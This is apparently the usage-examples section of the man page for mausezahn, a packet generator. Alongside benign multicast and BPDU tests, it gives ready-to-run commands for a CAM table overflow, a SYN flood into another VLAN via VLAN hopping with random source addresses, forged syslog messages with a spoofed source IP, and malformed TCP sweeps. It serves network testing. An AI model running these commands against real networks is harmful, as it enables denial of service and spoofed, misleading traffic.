быстрый универсальный генератор пакетов с Cisco-cli (a fast versatile packet generator with Cisco-cli)
Примеры использования (Usage example)
For more comprehensive examples, have a look at the two following
HOWTO sections.
mausezahn eth0 -c 0 -d 2s -t bpdu vlan=5
Send BPDU frames for VLAN 5 as used with Cisco's PVST+ type of
STP. By default mausezahn assumes that you want to become the
root bridge.
mausezahn eth0 -c 128000 -a rand -p 64
Perform a CAM table overflow attack.
mausezahn eth0 -c 0 -Q 5,100 -t tcp flags=syn,dp=1-1023 -p 20 -A rand
-B 10.100.100.0/24
Perform a SYN flood attack to another VLAN using VLAN hopping.
This only works if you are connected to the same VLAN which is
configured as native VLAN on the trunk. We assume that the victim
VLAN is VLAN 100 and the native VLAN is VLAN 5. Lets attack
every host in VLAN 100 which use an IP prefix of 10.100.100.0/24,
also try out all ports between 1 and 1023 and use a random source
IP address.
mausezahn eth0 -c 0 -d 10msec -B 230.1.1.1 -t udp dp=32000,dscp=46 -P
Multicast test packet
Send IP multicast packets to the multicast group 230.1.1.1 using
a UDP header with destination port 32000 and set the IP DSCP
field to EF (46). Send one frame every 10 msec.
mausezahn eth0 -Q 6:420 -M 100,200,300:5 -A 172.30.0.0/16 -B
target.anynetwork.foo -t udp sp=666,dp=1-65535 -p 1000 -c 10
Send UDP packets to the destination host target.anynetwork.foo
using all possible destination ports and send every packet with
all possible source addresses of the range 172.30.0.0/16;
additionally use a source port of 666 and three MPLS labels, 100,
200, and 300, the outer (300) with QoS field 5. Send the frame
with a VLAN tag 420 and CoS 6; eventually pad with 1000 bytes and
repeat the whole thing 10 times.
mausezahn -t syslog sev=3 -P Main reactor reached critical
temperature. -A 192.168.33.42 -B 10.1.1.9 -c 6 -d 10s
Send six forged syslog messages with severity 3 to a Syslog
server 10.1.1.9; use a forged source IP address 192.168.33.42 and
let mausezahn decide which local interface to use. Use an inter-
packet delay of 10 seconds.
mausezahn -t tcp flags=syn|urg|rst, sp=145, dp=145, win=0,
s=0-4294967295, ds=1500, urg=666 -a bcast -b bcast -A bcast -B
10.1.1.6 -p 5
Send an invalid TCP packet with only a 5 byte payload as layer-2
broadcast and also use the broadcast MAC address as source
address. The target should be 10.1.1.6 but use a broadcast source
address. The source and destination port shall be 145 and the
window size 0. Set the TCP flags SYN, URG, and RST simultaneously
and sweep through the whole TCP sequence number space with an
increment of 1500. Finally set the urgent pointer to 666, i.e.
pointing to nowhere.